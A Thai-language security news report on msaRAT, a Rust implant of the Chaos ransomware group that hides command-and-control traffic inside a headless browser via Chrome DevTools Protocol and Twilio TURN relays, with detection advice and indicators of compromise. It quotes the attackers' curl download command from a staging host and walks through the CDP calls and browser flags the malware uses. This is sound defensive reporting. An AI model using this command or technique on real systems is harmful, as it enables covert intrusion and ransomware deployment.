สรุปสั้น

กลุ่มแรนซัมแวร์ Chaos หันมาเดินช่องทางควบคุมและสั่งการ (Command-and-Control หรือ C2) ผ่านเบราว์เซอร์ของเหยื่อเอง โดยบริษัท Cisco Talos เปิดเผยรายละเอียดของ msaRAT ซึ่งเป็น implant ที่เขียนด้วยภาษา Rust และถูกพบบนเครื่อง Windows ที่ถูกเจาะก่อนที่ตัวเข้ารหัสไฟล์จะทำงาน จุดที่ทำให้มัลแวร์ตัวนี้ตรวจจับยากคือมันไม่เคยเปิดการเชื่อมต่อออกเน็ตด้วยตัวเอง กระบวนการของมันคุยกับ 127.0.0.1 เท่านั้น แล้วสั่งให้ Chrome หรือ Edge ทำงานแบบไม่มีหน้าต่าง (headless) พร้อมสั่งงานเบราว์เซอร์ผ่าน Chrome DevTools Protocol (CDP) ซึ่งเป็น API สำหรับดีบักของเบราว์เซอร์เอง ทุกข้อความ C2 จึงถูกส่งออกไปผ่านช่องข้อมูล WebRTC ที่รีเลย์ด้วยบริการ TURN ของ Twilio ผลก็คือสิ่งที่ผู้ป้องกันเห็นบนสายเครือข่ายคือเบราว์เซอร์ที่กำลังติดต่อกับ Cloudflare และ Twilio ส่วนที่อยู่เซิร์ฟเวอร์ของผู้โจมตีไม่ปรากฏให้เห็นเลย เทคนิคทั้งสองครึ่งนี้ไม่ใช่ของใหม่ แต่ Chaos นำมารวมไว้ใน implant ตัวเดียวที่ขับเบราว์เซอร์ headless ผ่าน CDP ทำให้การล่าภัยคุกคามต้องเปลี่ยนไปมองที่พฤติกรรมของโปรเซสแทนที่จะดูปลายทางเครือข่าย

รายละเอียดข่าว

เว็บไซต์ The Hacker News รายงานเมื่อวันที่ 23 กรกฎาคม 2569 ว่าบริษัท Cisco Talos ได้เผยแพร่การวิเคราะห์ msaRAT ในวันพฤหัสบดี โดยพบว่าเป็น implant ภาษา Rust ที่รันบน Tokio async runtime และทำหน้าที่เป็นช่องทาง C2 ให้กลุ่มแรนซัมแวร์ Chaos มัลแวร์ตัวนี้เดินทางมาถึงเครื่องหลังจากที่ผู้โจมตีสามารถรันโค้ดบนเครื่องได้แล้ว และก่อนที่ตัวเข้ารหัสไฟล์จะทำงาน โดย Talos ไม่ได้ระบุว่าเครื่องนี้ถูกเจาะเข้ามาได้อย่างไร แต่ playbook ที่กลุ่ม Chaos ใช้เป็นประจำคือการถล่มด้วยสแปม การหลอกทางโทรศัพท์ (vishing) การใช้ Quick Assist และเครื่องมือ RMM เพื่อฝังตัว

ตัว implant ถูกดาวน์โหลดมาด้วยคำสั่ง curl เพียงบรรทัดเดียว คือ curl.exe http://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi ที่น่าสังเกตคือมันใช้พอร์ต 443 แต่เป็น HTTP ธรรมดา ทำให้กฎไฟร์วอลล์ที่เขียนอิงเลขพอร์ตโดยไม่ตรวจสอบโปรโตคอลปล่อยผ่านไปได้ ไฟล์ MSI ดังกล่าวแฝงข้อมูลคุณสมบัติที่ปลอมตัวเป็นอัปเดตของ Windows และมี custom action ทำงานตอนจบการติดตั้งเพื่อโหลด DLL ที่ฝังอยู่เข้าไปในหน่วยความจำโดยตรง DLL ตัวนั้นก็คือ msaRAT ที่ export ฟังก์ชันชื่อ RUN ไว้ให้ตัวติดตั้งเรียกใช้ ทั้งนี้เทคนิคขนส่งครึ่งหนึ่งไม่ใช่ของใหม่ บริษัท Praetorian เคยสาธิตในเดือนสิงหาคม 2568 ว่าโครงสร้าง TURN ของแพลตฟอร์มประชุมออนไลน์สามารถรับส่งช่อง C2 เต็มรูปแบบได้ และ Sansec เคยพบสกิมเมอร์ในเดือนมีนาคม 2569 ที่ใช้ช่องข้อมูล WebRTC ขนข้อมูลบัตรที่ขโมยมาเลี่ยงการตรวจสอบ HTTP

วิธีการโจมตี

msaRAT จะมองหา Chrome หรือ Edge ผ่านตัวแปรสภาพแวดล้อม (environment variable) ก่อน แล้วจึงไปดูในรีจิสตรีสำหรับ Chrome หากไม่พบเบราว์เซอร์ที่ตรงเงื่อนไข มันจะข้ามเส้นทาง CDP ไป แต่หากพบ มันจะสั่งเบราว์เซอร์ให้ทำงานแบบไม่มีหน้าต่างด้วยพารามิเตอร์ --headless=new เปิด CDP ด้วย --remote-debugging-port และชี้ไปยัง --user-data-dir แยกต่างหาก จุดสำคัญคือตั้งแต่ Chrome เวอร์ชัน 136 เป็นต้นมา Google ไม่ยอมให้ใช้สวิตช์ดีบักกับโปรไฟล์ปริยายอีกต่อไป ซึ่งเป็นการเปลี่ยนแปลงที่ประกาศเมื่อเดือนมีนาคม 2568 หลังจากมัลแวร์ขโมยข้อมูลนำแฟล็กนี้ไปใช้ขโมยคุกกี้ แต่ msaRAT นำไดเรกทอรีโปรไฟล์ของตัวเองมาเอง การเปลี่ยนแปลงนั้นจึงไม่เป็นอุปสรรค และจากการวิเคราะห์ของ Talos ไม่มีอะไรบ่งชี้ว่ามันไปแตะโปรไฟล์ของเหยื่อเลย

จากนั้นมัลแวร์จะขอเป้าหมายที่ดีบักได้จาก /json/list/ แล้วเชื่อมต่อไปยัง WebSocket URL ที่ได้กลับมา สร้างแท็บใหม่ ปิด Content Security Policy ด้วย Page.setBypassCSP ลงทะเบียน callback ห้าตัวผ่าน Runtime.addBinding และเรียก Runtime.evaluate เพื่อฉีด JavaScript ที่เก็บเป็นข้อความล้วนอยู่ในส่วน .rdata ของไบนารี ชื่อ callback สี่ตัวคือ msaOpen, msaClose, msaError และ msaMessage เป็นที่มาของชื่อมัลแวร์ ส่วนตัวที่ห้าคือ dataAck โดย JavaScript นี้จะดึงค่าตั้ง STUN และ TURN จาก Cloudflare Worker ที่ is-01-ast[.]ols-img-12[.]workers[.]dev พร้อมปลอมส่วนหัว Origin และ Referer ให้ดูเหมือนมาจากเว็บไซต์ของไมโครซอฟท์ แล้วสร้างการเชื่อมต่อแบบ peer ส่ง SDP offer ไปยังปลายทางเดียวกัน คำตอบที่ได้กลับมาไม่มี ICE candidate และตั้งที่อยู่การเชื่อมต่อเป็น 0.0.0.0 ทำให้ไม่มีการเชื่อมต่อ peer-to-peer โดยตรง ทั้งช่องทางจึงวิ่งผ่านรีเลย์ของ Twilio ที่ global.turn.twilio.com ทราฟฟิกบนช่องนี้ถูกเข้ารหัสสองชั้น โดยเบราว์เซอร์จัดการ DTLS ส่วนข้างในเป็นสคีมแบบ ChaCha-Poly1305 ที่ใช้กุญแจจากการแลกเปลี่ยน ECDH คำสั่งที่รับเข้ามาจะถูกส่งไปรันด้วย cmd.exe /e:ON /v:OFF /d /c <cmd>

ผลกระทบต่อไทย

Chaos เป็นกลุ่มแรนซัมแวร์ที่โจมตีองค์กรทั่วโลก และเทคนิคซ่อน C2 ในเบราว์เซอร์ headless แบบนี้ออกแบบมาเพื่อเลี่ยงการตรวจจับที่อิงการดูปลายทางเครือข่าย ซึ่งเป็นแนวป้องกันที่หลายหน่วยงานในไทยยังพึ่งพาเป็นหลัก เนื่องจากการบล็อกโดเมน workers.dev ของ Cloudflare หรือบริการ TURN ของ Twilio ในภาพรวมจะไปกระทบทราฟฟิกที่ถูกกฎหมายของทั้งองค์กรที่ใช้ WebRTC จริง การป้องกันจึงต้องเปลี่ยนมาเน้นการเฝ้าระวังพฤติกรรมของโปรเซสแทน โดยเฉพาะองค์กรที่มีระบบอัตโนมัติของเบราว์เซอร์หรือ CI ซึ่งมีงาน headless ของตัวเองอยู่แล้ว ต้องปรับจูนการตรวจจับให้แยกแยะระหว่างงานปกติกับพฤติกรรมของมัลแวร์ให้ได้

คำแนะนำ

เนื่องจาก msaRAT เป็นมัลแวร์ที่ทำงานหลังการเจาะระบบและไม่ได้อาศัยช่องโหว่ของ Chrome หรือ Edge จึงไม่มีแพตช์เบราว์เซอร์ให้ติดตั้งเพื่อแก้เทคนิคนี้โดยตรง สัญญาณที่คงทนที่สุดคือพฤติกรรมของโปรเซส ทีมความปลอดภัยควรล่าหา Chrome หรือ Edge ที่ถูกเรียกโดยตัวติดตั้ง เซอร์วิส หรือ parent process อื่นที่ไม่ใช่การเปิดโดยผู้ใช้ พร้อมกับมีพารามิเตอร์ --headless=new และ --remote-debugging-port แล้วนำโปรเซสนั้นไปเชื่อมโยงกับทราฟฟิก loopback ที่วิ่งไปพอร์ตดีบักและ WebRTC ขาออก จุดสังเกตในระดับ CDP คือ Runtime.addBinding และ Runtime.evaluate นอกจากนี้ Talos ยังเผยแพร่ตัวชี้วัดเครือข่ายสองรายการคือ IP ที่ใช้ staging (172.86.126[.]18) และโฮสต์ Cloudflare Worker พร้อมชุดตรวจจับ ClamAV (Win.Downloader.ChaosRaas-10060321-0) และกฎ Snort ให้ใช้งาน แต่ควรระวังว่าตัวชี้วัดเหล่านี้แคบและถูกเปลี่ยนได้ง่าย

Indicators of Compromise (IoCs)

หมายเหตุ: indicator บางรายการถูก defang เพื่อความปลอดภัย

ประเภทIndicatorคำอธิบาย
IP (staging)172.86.126[.]18เซิร์ฟเวอร์ที่ใช้ดาวน์โหลด update_ms.msi (พอร์ต 443 แต่เป็น HTTP)
Domain (signaling)is-01-ast[.]ols-img-12[.]workers[.]devCloudflare Worker ที่ใช้ดึงค่าตั้ง STUN/TURN
ClamAVWin.Downloader.ChaosRaas-10060321-0ลายเซ็นตรวจจับ
Snort 21:66839, 1:66840, 1:66841กฎตรวจจับ
Snort 31:66839, 1:301587กฎตรวจจับ

แหล่งอ้างอิง